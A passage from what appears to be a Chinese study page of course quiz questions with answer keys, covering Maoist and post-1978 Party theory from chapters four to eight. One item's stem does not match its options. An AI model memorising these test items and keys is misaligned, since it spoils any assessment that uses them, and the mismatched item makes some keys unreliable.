社会发展的自身规律决定的<br>正确答案：ABCD</p><p><strong>4、下列属于人民内部矛盾的有()。</strong><br>A. 工人阶级和其它劳动人民同民族资产阶级的矛盾<br>B. 政府和人民群众之间的矛盾<br>C. 领导同被领导之间的矛盾<br>D. 国家机关某些工作人员的官僚主义作风同群众之间的矛盾</p><p>正确答案：ABCD<br><strong>5、毛泽东关于社会主义社会矛盾的学说，具有的历史意义是()。</strong><br>A. 科学揭示了社会主义社会发展的动力<br>B. 为正确处理社会主义社会各种矛盾提供了基本的理论依据<br>C. 为创造良好的社会环境和政治环境提供了基本的理论依据<br>D. 为社会主义改革奠定了理论基础<br>正确答案：ABCD<br><strong>6、毛泽东提出社会主义现代化的战略目标是四个现代化，包括()。</strong><br>A. 农业现代化<br>B. 工业现代化<br>C. 国防现代化<br>D. 科学技术现代化<br>正确答案：ABCD<br><strong>7、关于经济运行机制方面，毛泽东提出了“两参一改三结合”的思路。其中包括()。</strong></p><p>A. 企业建立合理的规章制度和严格的责任制<br>B. 实行民主管理<br>C. 实行干部参加劳动、工人参加管理<br>D. 改革不合理的规章制度<br>正确答案：ABCD<br><strong>8、党的八大提出，要进一步扩大民主，开展反对官僚主义的斗争，就要做到()。</strong><br>A. 加强对于国家工作的监督，特别是加强党对国家机关的领导和监督<br>B. 加强全国人民代表大会和它的常务委员会对中央一级政府机关的监督<br>C. 加强地方各级人民代表大会对地方各级政府机关的监督<br>D. 加强各级政府机关由上而下和由下而上的监督</p><p>正确答案：ABCD<br><strong>9、以毛泽东为代表的中国共产党人初步探索我国社会主义建设道路过程中形成的许多思想观点()。</strong><br>A. 有的还是不够成熟的设想<br>B. 有的在实践中没能坚持下去<br>C. 具有十分重要的理论和实践价值<br>D. 为中国特色社会主义理论体系的形成提供了基础</p><p>正确答案：ABCD<br><strong>10、从 20 世纪 50 年后期开始，由于“左”的错误的影响，我国在社会主义建设中的主要错误有()。</strong><br>A. 急于求成，盲目冒进<br>B. 不重视发展生产力<br>C. 把变革生产关系绝对化，以为社会主义所有制形式越大越公越好<br>D. 坚持以阶级斗争为纲<br>正确答案：ACD<br><strong>11、毛泽东提出的关于正确处理农业、轻工业和重工业关系问题的思想有()。</strong><br>A. 发展工业和发展农业同时并举<br>B. 以农、轻、重为序安排国民经济的方针<br>C. 多发展重工业，少发展一些农业和轻工业<br>D. 以农业为基础，以工业为主导的总方针</p><p>正确答案：ABD<br><strong>12、改革开放前我国社会主义建设的经验教训主要有()。</strong><br>A. 忽视生产力发展<br>B. 机械地理解马克思主义<br>C. 照搬苏联经验<br>D. 混淆社会主义本质特征与体制的区别</p><p>正确答案：ABCD<br><strong>13、《论十大关系》报告中论述的（），探讨了如何开辟一条和苏联有所不同的中国工业化道路问题。</strong><br>A. 重工业和轻工业、农业的关系<br>B. 沿海工业和内地工业的关系<br>C. 国家、生产单位和生产者个人的关系<br>D. 经济建设和国防建设的关系<br>正确答案：ABD</p><p><strong>14、《论十大关系》报告中论述的（），开始涉及经济体制改革，初步提出了中国社会主义经济建设的若干新方针、新思路。</strong><br>A. 党与非党的关系<br>B. 国家、生产单位和生产者个人的关系<br>C. 中央和地方的关系<br>D. 中国和外国的关系<br>正确答案：BC<br><strong>15、我国社会主义建设道路的探索遭遇严重曲折的原因有（）。</strong><br>A. 对马克思主义关于社会主义的一些基本原理的理解不够深入<br>B. 对中国的基本国情缺乏深刻认识<br>C. 没有能够完全搞清楚什么是社会主义、怎样建设社会主义的问题<br>D. 没有完全摆脱苏联模式的影响<br>正确答案：ABCD </p><h3 id="三-判断题（8-题，8-0-分）"><a href="#三-判断题（8-题，8-0-分）" class="headerlink" title="三.判断题（8 题，8.0 分）"></a>三.判断题（8 题，8.0 分）</h3><p><strong>1、在处理人民内部矛盾上，正确的方法是“批评-团结-批评”的方法。</strong></p><p>正确答案： 错<br><strong>2、社会主义社会的基本矛盾是要通过革命的方式进行解决。</strong></p><p>正确答案： 错<br><strong>3、中共八大明确提出社会主义社会的主要任务是阶级斗争。</strong></p><p>正确答案： 错<br><strong>4、中国共产党在其犯严重错误的时候，它的性质和宗旨都是没有发生改变的。</strong></p><p>正确答案： 对<br><strong>5、在 1954 年被第一次提出的四个现代化为工业、农业、交通运输业和国防业的现代化。</strong></p><p>正确答案： 对<br><strong>6、关于新中国成立后走中国工业化道路，调整和完善所有制结构，陈云提出了著名的“三个主体，三个补充”理论。</strong></p><p>正确答案： 对<br><strong>7、1956 年社会主义改造完成后，我国的基本国情是仍处于并将长期处于社会主义初级阶段。</strong></p><p>正确答案： 对<br><strong>8、独立自主就是关起门来搞建设。</strong></p><p>正确答案： 错</p><h2 id="第五章"><a href="#第五章" class="headerlink" title="第五章"></a>第五章</h2><h3 id="一-单选题（38-题，38-0-分）"><a href="#一-单选题（38-题，38-0-分）" class="headerlink" title="一.单选题（38 题，38.0 分）"></a>一.单选题（38 题，38.0 分）</h3><p><strong>1、社会主义本质理论包括了社会主义社会的()问题，又包括了以生产关系为基础的社会关系问题，是一个有机整体。</strong><br>A. 文化发展<br>B. 法制<br>C. 生产力<br>D. 经济基础<br>正确答案：C </p><p><strong>2、社会主义首先要解决的问题是()。</strong></p><p>A. 生产资料公有制<br>B. 生产力发展<br>C. 人民公社<br>D. 民主<br>正确答案：B<br><strong>3、社会主义本质理论揭示了社会主义的根本任务是()，这合乎科学社会主义基本原则，体现了中国社会主义初级阶段发展实践的迫切要求。</strong><br>A. 大力发展经济<br>B. 解放和发展生产力<br>C. 完善分配制度<br>D. 巩固民主政治<br>正确答案：B<br><strong>4、资本主义社会的本质是为少数人谋利益的，必然产生()，引起两极分化，最终违背社会发展规律。</strong><br>A. 资本<br>B. 公正<br>C. 利益<br>D. 剥削<br>正确答案：D<br><strong>5、为了更好的推进中国特色社会主义建设，我们必须在()与生产关系的相互作用中，在根本任务与发展目标的辩证统一中，全面准确地把握社会主义的本质。</strong><br>A. 生产力<br>B. 生产方式<br>C. 生产资料<br>D. 生产劳动<br>正确答案：A<br><strong>6、改革开放以来，我国的各项事业均取得了显著的成就。但是，我国经济社会发展中仍然存在着突出的矛盾和问题。解决这些问题的关键是()。</strong><br>A. 坚持发展<br>B. 回到经典<br>C. 同步富裕<br>D. 坚持创新<br>正确答案：A<br><strong>7、中国特色社会主义理论体系的开篇之作是()。</strong><br>A. 毛泽东思想<br>B. “三个代表”重要思想<br>C. 邓小平理论<br>D. 科学发展观<br>正确答案：C<br><strong>8、十一届三中全会决定把党和国家的工作重点转移到()。</strong><br>A. 阶级斗争<br>B. 社会主义现代化建设<br>C. 生态建设<br>D. 社会主义政治建设</p><p>正确答案：B<br><strong>9、要坚持把以经济建设为中心同四项基本原则、改革开放这两个基本点统一于()。</strong><br>A. 社会主义初级阶段<br>B. 社会主义市场经济<br>C. 发展中国特色社会主义的伟大实践<br>D. 全面建成小康社会<br>正确答案：C<br><strong>10、“一国两制”的构想，是从解决()地区的问题开始的。</strong><br>A. 香港<br>B. 澳门<br>C. 台湾<br>D. 钓鱼岛<br>正确答案：C<br><strong>11、党的()报告提出了党在社会主义初级阶段的基本路线。</strong><br>A. 十二届六中全会<br>B. 十三大<br>C. 十二大<br>D. 十一届六中全会<br>正确答案：B<br><strong>12、()构想是邓小平在解决台湾问题的过程中提出的，首先在解决香港问题上得以实践。</strong><br>A. 民族复兴<br>B. “一国两制”<br>C. 祖国统一<br>D. 一带一路<br>正确答案：B<br><strong>13、邓小平认为建设中国特色社会主义的首要的基本的理论问题是()。</strong><br>A. 什么是马克思主义，怎样发展马克思主义<br>B. 什么是社会主义，怎样建设社会主义<br>C. 建设什么样的党，怎样建设党<br>D. 什么是发展，实现怎样的发展<br>正确答案：B<br><strong>14、改革开放以来，邓小平提出了“()才是硬道理”的著名论断，从社会主义本质要求的高度强调发展的重要性。</strong><br>A. 经济<br>B. 发展<br>C. 生产<br>D. 创新<br>正确答案：B </p><p><strong>15、“三个有利于”标准是()。</strong><br>A. 判断姓“社”、姓“资”的标准<br>B. 判断各项工作得失成败的标准<br>C. 实用主义标准<br>D. 判断传统和现代的标准<br>正确答案：B</p><p><strong>16、我们党作出进行社会主义市场经济体制改革的重大决定是在()。</strong><br>A. 党的十二大<br>B. 党的十四大<br>C. 党的十三大<br>D. 党的十五大<br>正确答案：B<br><strong>17、2018 年是我国实施改革开放四十周年，1978 年，()作出了实施改革开放的伟大决策。</strong><br>A. 党的十二大<br>B. 党的十一届三中全会<br>C. 党的十一大<br>D. 党的十三大<br>正确答案：B<br><strong>18、社会主义社会发展的直接动力是()。</strong><br>A. 阶级斗争<br>B. 改革<br>C. 物质利益原则<br>D. 革命<br>正确答案：B<br><strong>19、我国社会主义改革是一场新的革命，其性质是()。</strong><br>A. 解放生产力，发展生产力<br>B. 社会主义基本制度的根本变革<br>C. 建立和完善社会主义市场经济体制<br>D. 社会主义制度的自我完善和发展</p><p>正确答案：D<br><strong>20、1978 年，邓小平在为党的十一届三中全会准备的中央工作会议上发表了()的重要讲话， 提出要着手解决党的思想路线问题。</strong><br>A. 《解放思想，实事求是，团结一致向前看》<br>B. 《关于建国以来党的若干历史问题的决议》<br>C. 《一切从社会主义初级阶段出发》<br>D. 《我国方针政策的两个基本点》正确答案：A<br><strong>21、在“和平统一、一国两制”中，解决台湾问题，实现祖国统一，寄希望于()。</strong><br>A. 国民党<br>B. 台湾人民<br>C. 台湾学生<br>D. 来大陆就业者<br>正确答案：B<br><strong>22、党的十七大通过的党章把()与“富强、民主、文明”一起写入基本路线。</strong><br>A. 改革<br>B. 美丽<br>C. 发展<br>D. 和谐<br>正确答案：D<br><strong>23、党的基本路线是党和国家的()、人民的幸福线。</strong></p><p>A. 历史定位<br>B. 基本原则<br>C. 发展方向<br>D. 生命线<br>正确答案：D<br><strong>24、坚持党的基本路线，必须紧紧围绕()这一中心。</strong><br>A. 文化建设<br>B. 政治建设<br>C. 社会建设<br>D. 经济建设<br>正确答案：D<br><strong>25、()是我们党在新时期实现的最根本的拨乱反正。</strong><br>A. 以文化建设为中心的确定<br>B. 以政治建设为中心的确定<br>C. 以社会建设为中心的确定<br>D. 以经济建设为中心的确定<br>正确答案：D<br><strong>26、“一国两制”中提出在祖国统一前提下，港澳台()。</strong><br>A. 完全自由<br>B. 绝对自由<br>C. 完全自治<br>D. 高度自治<br>正确答案：D </p><p><strong>27、中国解决所有问题的关键靠()。</strong><br>A. 公平<br>B. 改革<br>C. 稳定<br>D. 发展<br>正确答案：D </p><p><strong>28、()提出“科学技术是第一生产力。”</strong><br>A. 邓小平<br>B. 胡锦涛<br>C. 毛泽东<br>D. 江泽民<br>正确答案：A<br><strong>29、“现在世界上真正大的问题，带全球性的战略问题，一个是和平问题，一个是经济问题或者说是发展问题。和平问题是东西问题，发展问题是南北问题。概括起来，就是东西南北四个字。南北问题是核心问题。”这段话是（）做时代主题的转换作出的科学判断。</strong><br>A. 毛泽东<br>B. 周恩来<br>C. 邓小平<br>D. 江泽民<br>正确答案：C<br>3<strong>0、面对时代的发展，( )提出“不以新的思想、观点去继承、发展马克思主义，不是真正的</strong></p><p><strong>马克思主义者。”指出中国的发展离不开世界的时代趋势。</strong><br>A. 毛泽东<br>B. 周恩来<br>C. 刘少奇<br>D. 邓小平<br>正确答案：D<br><strong>31、（）命题的提出具有里程碑意义，是中国共产党人对科学社会主义发展的开创性贡献。</strong><br>A. “过渡时期总路线”<br>B. “社会主义建设总路线”<br>C. “中国特色社会主义”<br>D. “三个代表”<br>正确答案：C<br><strong>32、“把马克思主义的普遍真理同我国的具体实际结合起来，走自己的道路，建设有中国特色的社会主义，这就是我们总结长期历史经验得出的基本结论。”是邓小平在（）开幕词中提出的。</strong><br>A. 十一届三中全会<br>B. 党的十二大<br>C. 党的十三大<br>D. 党的十四大<br>正确答案：B<br><strong>33、1984 年党的十二届三中全会作（）报告，提出了社会主义经济是公有制基础上的有计划的商品经济。</strong><br>A. 《党和国家领导制度的改革》<br>B. 《论十大关系》<br>C. 《关于正确处理人民内部矛盾的问题》<br>D. 《关于经济体制改革的决定》<br>正确答案：D<br><strong>34、1987 年召开的（），明确概括和全面阐发了党的“一个中心、两个基本点”的基本路线。</strong><br>A. 十一届三中全会<br>B. 党的十二大<br>C. 党的十三大<br>D. 党的十四大<br>正确答案：C<br><strong>35、“十一届三中全会以来，我们党在对社会主义再认识的过程中，在哲学、政治经济学和科学社会主义等方面，发挥和发展了一系列科学理论观点。……这些观点，构成了建设有中国特色的社会主义理论的轮廓，初步回答了我国社会主义建设的阶段、任务、动力、条件、布局和国际环境等基本问题，规划了我们前进的科学轨道。”出自（）的报告。</strong><br>A. 党的十二大<br>B. 党的十三大<br>C. 党的十四大<br>D. 党的十五大<br>正确答案：B<br><strong>36、（）第一次比较系统地初步回答了中国这样的经济文化比较落后的国家如何建设社会主</strong></p><p><strong>义、如何巩固和发展社会主义的一系列基本问题。</strong><br>A. 新民主主义革命理论<br>B. 中国特色社会主义理论<br>C. “三个代表”理论<br>D. 科学发展观<br>正确答案：B<br><strong>37、（）正式提出“邓小平理论”这一概念，深刻阐述了邓小平理论的历史地位和指导意义。</strong><br>A. 党的十二大<br>B. 党的十三大<br>C. 党的十四大<br>D. 党的十五大<br>正确答案：D<br><strong>38、（）郑重地把邓小平理论同马克思列宁主义、毛泽东思想一起，确立为党的指导思想并写入党章。</strong><br>A. 党的十二大<br>B. 党的十三大<br>C. 党的十四大<br>D. 党的十五大<br>正确答案：D </p><h3 id="二-多选题（12-题，12-0-分）"><a href="#二-多选题（12-题，12-0-分）" class="headerlink" title="二.多选题（12 题，12.0 分）"></a>二.多选题（12 题，12.0 分）</h3><p><strong>1、下列关于社会主义的说法，正确的是()。</strong><br>A. 社会主义的根本目标是实现同步富裕<br>B. 高度发达的生产力是实现社会主义的物质基础<br>C. 解放生产力是为促进生产力的发展开辟道路<br>D. 解放和发展生产力是中国特色社会主义的根本任务</p><p>正确答案：BCD<br><strong>2、社会主义就是要使全体社会成员过上富裕幸福的生活，而资本主义由于()的存在，不可能实现共同富裕。</strong><br>A. 公有制主体地位<br>B. 私有制<br>C. 剥削<br>D. 按劳分配<br>正确答案：BC<br><strong>3、邓小平开创性地提出了社会主义本质、社会主义初级阶段以及()等具有浓厚中国特色的新概念新范畴，建构了中国特色社会主义理论的基本框架。</strong><br>A. 党的基本路线<br>B. 改革开放<br>C. “三个代表”<br>D. “一国两制”<br>正确答案：ABD </p><p><strong>4、近 40 年的实践证明，改革开放是()。</strong><br>A. 决定当代中国命运的关键抉择<br>B. 党和人民事业大踏步赶上时代潮流的重要法宝</p><p>C. 发展中国特色社会主义的必由之路<br>D. 社会主义社会发展的直接动力<br>正确答案：ABCD </p><p><strong>5、四项基本原则包括()。</strong><br>A. 坚持无产阶级专政<br>B. 坚持共产党领导<br>C. 坚持马列主义和毛泽东思想<br>D. 坚持社会主义道路<br>正确答案：ABCD<br><strong>6、十二届六中全会提出的现代化建设总体布局包括()。</strong><br>A. 以经济建设为中心<br>B. 坚定不移地进行经济体制改革<br>C. 坚定不移地进行政治体制改革<br>D. 坚定不移地加强精神文明建设<br>正确答案：ABCD<br><strong>7、党的基本路线高度概括了党在社会主义初级阶段的()。</strong><br>A. 奋斗目标<br>B. 基本途径<br>C. 根本保证<br>D. 领导力量和依靠力量<br>正确答案：ABCD<br><strong>8、1992 年初，邓小平在南方谈话中对社会主义本质问题做出了总结性的理论概括，他指出：“社会主义的本质，是()”。</strong><br>A. 解放生产力，发展生产力<br>B. 消灭剥削<br>C. 消除两极分化<br>D. 最终达到共同富裕<br>正确答案：ABCD<br><strong>9、“计划经济不等于社会主义，资本主义也有计划；市场经济不等于资本主义，社会主义也有市场。”邓小平这一论断的内涵是()。</strong><br>A. 计划和市场都是经济手段<br>B. 计划和市场是不能兼容的<br>C. 计划经济和市场经济不是划分社会制度的标志<br>D. 以上都正确<br>正确答案：AC<br><strong>10、我国社会主义建设道路的探索遭遇严重曲折的原因有（）。</strong><br>A. 70 年代西方资本主义遭遇严重的经济危机<br>B. 美苏两极对抗的冷战格局出现重大变化，两大阵营的力量对比更趋平衡<br>C. 短时期内爆发世界大战的可能性越来越小<br>D. 在新科技革命推动下，经济社会快速发展正确答案：ABCD<br><strong>11、（）等在社会主义建设过程中得出的经验教训，是邓小平理论形成的历史根据。</strong><br>A. 苏共二十大和波匈事件暴露了苏联模式的弊端<br>B. 我国在“一五”计划的实践中觉察到苏联模式的弊端</p><p>C. 社会主义现代化建设蓬勃展开，社会经济发展形势向好<br>D. 我国在社会主义建设的探索中，形成了一些正确的和比较正确的理论观点、方针政策和实践经验<br>正确答案：ABD<br><strong>12、社会主义初级阶段理论从（）等方面，第一次对中国特色社会主义理论的主要内容作了系统概括。</strong><br>A. 法国空想社会主义<br>B. 马克思主义哲学<br>C. 政治经济学<br>D. 科学社会主义<br>正确答案：BCD </p><h3 id="三-判断题（12-题，12-0-分）"><a href="#三-判断题（12-题，12-0-分）" class="headerlink" title="三.判断题（12 题，12.0 分）"></a>三.判断题（12 题，12.0 分）</h3><p><strong>1、社会主义初级阶段是所有国家进行社会主义建设都要经历的阶段。</strong></p><p>正确答案： 错<br><strong>2、在社会主义初级阶段，阶级矛盾和阶级斗争仍在一定范围内长期存在。</strong></p><p>正确答案： 对<br><strong>3、马克思主义中国化第二次历史性飞跃的理论成果是中国特色社会主义理论体系。</strong></p><p>正确答案： 对<br><strong>4、邓小平理论第一次比较系统地初步回答了中国社会主义的发展道路、发展阶段、根本任务、发展动力、外部条件、政治保证、战略步骤、党的领导和依靠力量以及祖国统一等一系列基本问题。</strong></p><p>正确答案： 对<br><strong>5、邓小平理论指导我们党制定了在社会主义初级阶段的基本路线。</strong></p><p>正确答案： 对<br><strong>6、“一个中心、两个基本点”是社会主义初级阶段基本路线的最主要内容。</strong></p><p>正确答案： 对<br><strong>7、“自力更生，艰苦创业”是实现社会主义现代化奋斗目标的根本立足点。</strong></p><p>正确答案： 对<br><strong>8、坚持以四项基本原则保证改革开放的正确方向。</strong></p><p>正确答案： 对<br><strong>9、市场经济是资源配置的一种方式。</strong></p><p>正确答案： 对<br><strong>10、马克思最早提出科学技术是生产力的一部分。</strong></p><p>正确答案： 对<br><strong>11、“向科学进军”是邓小平在 1956 年代表党中央提出来的。</strong></p><p>正确答案： 错<br><strong>12、台湾问题是中国国内战争遗留下来的问题，其实质是内政问题。</strong></p><p>正确答案： 对</p><h2 id="第六章"><a href="#第六章" class="headerlink" title="第六章"></a>第六章</h2><h3 id="一-单选题（9-题，9-0-分）"><a href="#一-单选题（9-题，9-0-分）" class="headerlink" title="一.单选题（9 题，9.0 分）"></a>一.单选题（9 题，9.0 分）</h3><p><strong>1、2000 年 6 月 9 日，江泽民在全国党校工作会议上第一次指出()重要思想所要回答和解决的</strong></p><p><strong>正是“建设什么样的党、怎样建设党”的重大问题。</strong><br>A. “一国两制”<br>B. “三个代表”<br>C. 科学发展观<br>D. 科教兴国<br>正确答案：B<br><strong>2、为了大力发展科学技术，党中央从 20 世纪 90 年代以来，相继实施了()和人才强国战略。</strong><br>A. 计划生育<br>B. 节约资源和保护环境<br>C. 科教兴国战略<br>D. 区域发展战略<br>正确答案：C<br><strong>3、1992 年，党的十四大明确提出了我国经济体制改革的目标是建立()。</strong><br>A. 以市场经济为主，计划调节为辅的经济体制<br>B. 社会主义经济制度<br>C. 社会主义市场经济体制<br>D. 健全的宏观经济调控体系<br>正确答案：C<br><strong>4、党的十五大在深刻总结改革开放以来所有制结构改革经验的基础上，第一次明确提出， 公有制为主体，多种所有制经济共同发展是我国社会主义初级阶段的基本经济制度。其客观依据是()。</strong><br>A. 我国生产力发展水平<br>B. 社会主义性质和初级阶段的国情<br>C. 社会主义建设的经验教训<br>D. 社会主义市场经济的客观要求<br>正确答案：B<br><strong>5、在()，社会主义市场经济体制在我国初步建立。</strong><br>A. 20 世纪初<br>B. 20 世纪末<br>C. 20 世纪中期<br>D. 21 世纪初<br>正确答案：B<br><strong>6、“三个代表”重要思想创造性地回答了()的基本问题。</strong><br>A. 建设什么样的党、怎样建设党<br>B. 什么是社会主义、怎样建设社会主义<br>C. 实现什么样的发展、怎样发展<br>D. 建设什么样的中国特色社会主义、怎么建设中国特色社会主义正确答案：A<br><strong>7、明确把建立社会主义市场经济体制作为经济体制改革的目标是()。</strong><br>A. 党的十四大<br>B. 党的十五大<br>C. 党的十六大<br>D. 党的十七大<br>正确答案：A</p><p><strong>8、党的十三届四中全会提出了大力加强（），坚决惩治腐败的要求。</strong><br>A. 党的建设<br>B. 军队建设<br>C. 文化建设<br>D. 基础设施建设<br>正确答案：A<br><strong>9、“三个代表”重要思想坚持把（）作为出发点和归宿。</strong><br>A. 提升文化软实力<br>B. 社会经济发展效率<br>C. 维护人民的根本利益<br>D. 生态环境保护<br>正确答案：C </p><h3 id="二-多选题（7-题，7-0-分）"><a href="#二-多选题（7-题，7-0-分）" class="headerlink" title="二.多选题（7 题，7.0 分）"></a>二.多选题（7 题，7.0 分）</h3><p><strong>1、2000 年 5 月 14 日，江泽民在江苏、浙江、上海党建工作座谈会上，明确提出：“推进党的()，都应贯穿‘三个代表’要求。”。</strong><br>A. 思想建设<br>B. 政治建设<br>C. 组织建设<br>D. 作风建设<br>正确答案：ABCD<br><strong>2、“三个代表”重要思想的历史地位，以下说法正确的有()。</strong><br>A. 是中国特色社会主义理论体系的接续发展<br>B. 深化了对中国特色社会主义的认识<br>C. 是加强和改进党的建设、推进我国社会主义自我完善和发展的强大理论武器<br>D. 是党和国家必须长期坚持的指导思想正确答案：ABCD<br><strong>3、20 世纪末，我国的国民生产总值比 1980 年翻了两番，人民生活水平总体上达到了小康， 但当时的小康是()的小康。</strong><br>A. 低水平<br>B. 全面<br>C. 不全面<br>D. 发展很不平衡<br>正确答案：ACD<br><strong>4、“三个代表”重要思想形成的时代背景有（）。</strong><br>A. 东欧剧变，苏联解体<br>B. 中国加入 WTO，融入经济全球化浪潮<br>C. 美国成为唯一的超级大国<br>D. 移动互联网技术取得重大突破<br>正确答案：AC<br><strong>5、“三个代表”重要思想是在应对中国社会经济发展中出现的（）等问题的过程中形成和发展起来的。</strong><br>A. 社会中出现了更为复杂的利益关系和新的社会阶层<br>B. 部分国有企业发生较大困难<br>C. 发展经济与保持环境生态的矛盾日益突出</p><p>D. 人口与资源环境关系紧张<br>正确答案：ABCD<br><strong>6、党的十三届四中全会以来，国际局势风云变幻，我国改革开放和现代化建设的进程波澜壮阔。但是中国共产党面前仍摆着（）等必须研究解决的紧迫而重大的问题。</strong><br>A. 如何正确处理社会主义现代化建设中的若干重大关系<br>B. 如何完善社会主义市场经济体制<br>C. 如何推进政治体制改革<br>D. 如何解决经济发展与资源、环境的矛盾正确答案：ABCD<br><strong>7、“三个代表”重要思想从（）的方面揭示了社会主义制度自我完善和发展的途径。</strong><br>A. 生态环境<br>B. 物质基础<br>C. 文化支撑<br>D. 社会基础<br>正确答案：BCD </p><h3 id="三-判断题（9-题，9-0-分）"><a href="#三-判断题（9-题，9-0-分）" class="headerlink" title="三.判断题（9 题，9.0 分）"></a>三.判断题（9 题，9.0 分）</h3><p><strong>1、“三个代表”重要思想是中国革命经验的概括和总结。</strong></p><p>正确答案： 错<br><strong>2、“三个代表”重要思想是中国特色社会主义理论体系的接续发展。</strong></p><p>正确答案： 对<br><strong>3、党和国家的一切工作和方针政策，都要以是否符合最广大人民群众的根本利益为最高衡量标准。</strong><br>正确答案： 对<br><strong>4、党的十三大正式把建立社会主义市场经济体制确立为我国经济体制改革的目标。</strong></p><p>正确答案： 错<br><strong>5、二十世纪九十年代初期，我国已经初步建立了社会主义市场经济体制。</strong></p><p>正确答案： 错<br><strong>6、建立社会主义市场经济体制，必须坚持和完善公有制为主体、多种所有制经济共同发展的社会主义基本经济制度。</strong></p><p>正确答案： 对<br><strong>7、社会主义市场经济是同社会主义基本制度结合在一起的，既可以发挥市场经济的长处， 又可以发挥社会主义制度的优越性。</strong></p><p>正确答案： 对<br><strong>8、个体、私营等各种形式的非公有制经济是社会主义市场经济最重要的组成部分，对充分调动社会各方面的积极性、加快生产力发展具有最为重要的作用。</strong></p><p>正确答案： 错<br><strong>9、到 20 世纪末，我们已经胜利实现了现代化建设“三步走”战略的第一步、第二步目标， 人民生活总体上达到小康水平，物质消费、生存性消费、精神消费和文化消费都已经得到了有效满足。</strong></p><p>正确答案： 错</p><h2 id="第七章"><a href="#第七章" class="headerlink" title="第七章"></a>第七章</h2><h3 id="一-单选题（4-题，4-0-分）"><a href="#一-单选题（4-题，4-0-分）" class="headerlink" title="一.单选题（4 题，4.0 分）"></a>一.单选题（4 题，4.0 分）</h3><p><strong>1、科学发展观强调坚持以()为中心，把发展生产力作为首要任务，把经济发展作为一切发展的前提，体现了历史唯物主义关于生产力是人类社会发展的基础的观点。</strong><br>A. 政治建设<br>B. 经济建设<br>C. 文化建设<br>D. 环境建设<br>正确答案：B<br><strong>2、科学发展观创造性地回答了()的基本问题。</strong><br>A. 什么是社会主义、怎样建设社会主义<br>B. 实现什么样的发展、怎样发展<br>C. 建设什么样的党、怎样建设党<br>D. 建设什么样的中国特色社会主义、怎么建设中国特色社会主义正确答案：B<br><strong>3、科学发展观的内涵极为丰富，其核心是()。</strong><br>A. 统筹兼顾<br>B. 全面发展<br>C. 协调发展<br>D. 以人为本<br>正确答案：D<br><strong>4、“要独立自主就不能对外开放”和“要对外开放就不能独立自主”这两个观点的共同错误是()。</strong><br>A. 否认独立自主、自力更生与对外开放相互联系、相互促进<br>B. 把发展本国经济的希望寄托在外援上<br>C. 主张发展对外贸易与保护民族工业不能分割<br>D. 主张关起门来搞建设<br>正确答案：A </p><h3 id="二-多选题（7-题，7-0-分）-1"><a href="#二-多选题（7-题，7-0-分）-1" class="headerlink" title="二.多选题（7 题，7.0 分）"></a>二.多选题（7 题，7.0 分）</h3><p><strong>1、科学发展观把社会主义()和人的全面发展看成相互联系的整体，把人类社会的发展看成生产力和生产关系、经济基础和上层建筑、社会生产各个部类、各个地域、各个方面，人与社会、当代与后代等彼此相互联系、相互促进、不可分割的过程。</strong><br>A. 物质文明<br>B. 政治文明<br>C. 精神文明<br>D. 和谐社会建设<br>正确答案：ABCD </p><p><strong>2、科学发展观最鲜明的精神实质是()。</strong><br>A. 解放思想<br>B. 实事求是<br>C. 与时俱进<br>D. 求真务实<br>正确答案：ABCD<br><strong>3、新世纪新阶段，我国发展站在了一个新的历史起点上，下列说法正确的是()。</strong><br>A. 我国经济社会取得全面进步，居民人均收入达到发达国家水平<br>B. 我国经济实现了历史性的跨越，总体上达到小康水平</p><p>C. 我国发展不平衡的矛盾日益尖锐，社会利益关系日益多样化<br>D. 城乡之间、区域之间、经济社会发展之间的不协调状况凸显</p><p>正确答案：BCD<br><strong>4、科学发展必须以人为本，坚持以人为本就要坚持()。</strong><br>A. 把经济利益放在首位<br>B. 发展为了人民<br>C. 发展依靠人民<br>D. 发展的成果由人民共享<br>正确答案：BCD<br><strong>5、坚持科学发展观，必须坚持全面协调可持续的基本要求，以下体现协调发展的是()。</strong><br>A. 推进生产力与生产关系、经济基础与上层建筑相协调<br>B. 经济、政治、文化、社会、生态文明建设的各个环节相协调<br>C. 实现经济社会各构成要素的良性互动<br>D. 使人民同步富裕<br>正确答案：ABC </p><p><strong>6、科学发展观的主要内容有()。</strong><br>A. 加快转变经济发展方式<br>B. 发展社会主义民主政治<br>C. 推进社会主义文化强国建设<br>D. 推进生态文明建设<br>正确答案：ABCD<br><strong>7、坚持科学发展观，必须坚持全面协调可持续的基本要求，以下体现可持续的是()。</strong><br>A. 促进人与自然的和谐<br>B. 实现经济发展和人口、资源、环境相协调<br>C. 使人民同步富裕<br>D. 坚持走生产发展、生活富裕、生态良好的文明发展道路</p><p>正确答案：ABD</p><h3 id="三-判断题（5-题，5-0-分）"><a href="#三-判断题（5-题，5-0-分）" class="headerlink" title="三.判断题（5 题，5.0 分）"></a>三.判断题（5 题，5.0 分）</h3><p><strong>1、经过新中国成立以来特别是改革开放以来的不懈努力，我国经济社会发展取得了举世瞩目的成就，但仍处于并将长期处于社会主义初级阶段的基本国情没有变。</strong><br>正确答案： 对<br><strong>2、十七大报告提出了“中国特色社会主义理论体系”的科学概念，把科学发展观与邓小平理论、“三个代表”重要思想一道作为中国特色社会主义理论体系的重要组成部分。</strong><br>正确答案： 对<br><strong>3、科学发展观是中国特色社会主义理论体系的接续发展。</strong></p><p>正确答案： 对<br><strong>4、发展观是关于发展的本质、目的、内涵和要求的总体看法和根本观点，决定了经济社会发展的总体战略和基本模式，对经济社会发展实践具有根本性、全局性的重大影响。</strong></p><p>正确答案： 对<br><strong>5、科学发展观，第一要义是发展，核心立场是以人为本，基本要求是高速度发展。</strong></p><p>正确答案： 错</p><h2 id="第八章"><a href="#第八章" class="headerlink" title="第八章"></a>第八章</h2><h3 id="一-单选题（3-题，3-0-分）"><a href="#一-单选题（3-题，3-0-分）" class="headerlink" title="一.单选题（3 题，3.0 分）"></a>一.单选题（3 题，3.0 分）</h3><p><strong>1、坚持和完善我国社会主义基本经济制度和分配制度，就要使市场在资源配置中起()。</strong><br>A. 基础性作用<br>B. 辅助性作用<br>C. 决定性作用<br>D. 修补性作用<br>正确答案：C<br><strong>2、习近平新时代中国特色社会主义思想创造性地回答了在新时代()的基本问题。</strong><br>A. 什么是社会主义、怎样建设社会主义<br>B. 建设什么样的中国特色社会主义、怎么建设中国特色社会主义<br>C. 建设什么样的党、怎样建设党<br>D. 实现什么样的发展、怎样发展<br>正确答案：B<br><strong>3、习近平新时代中国特色社会主义思想明确以人民为中心的发展思想，不断促进人的全面发展和全体人民()。</strong><br>A. 实现温饱<br>B. 共同富裕<br>C. 同步富裕<br>D. 按需分配<br>正确答案：B </p><h3 id="二-多选题（7-题，7-0-分）-2"><a 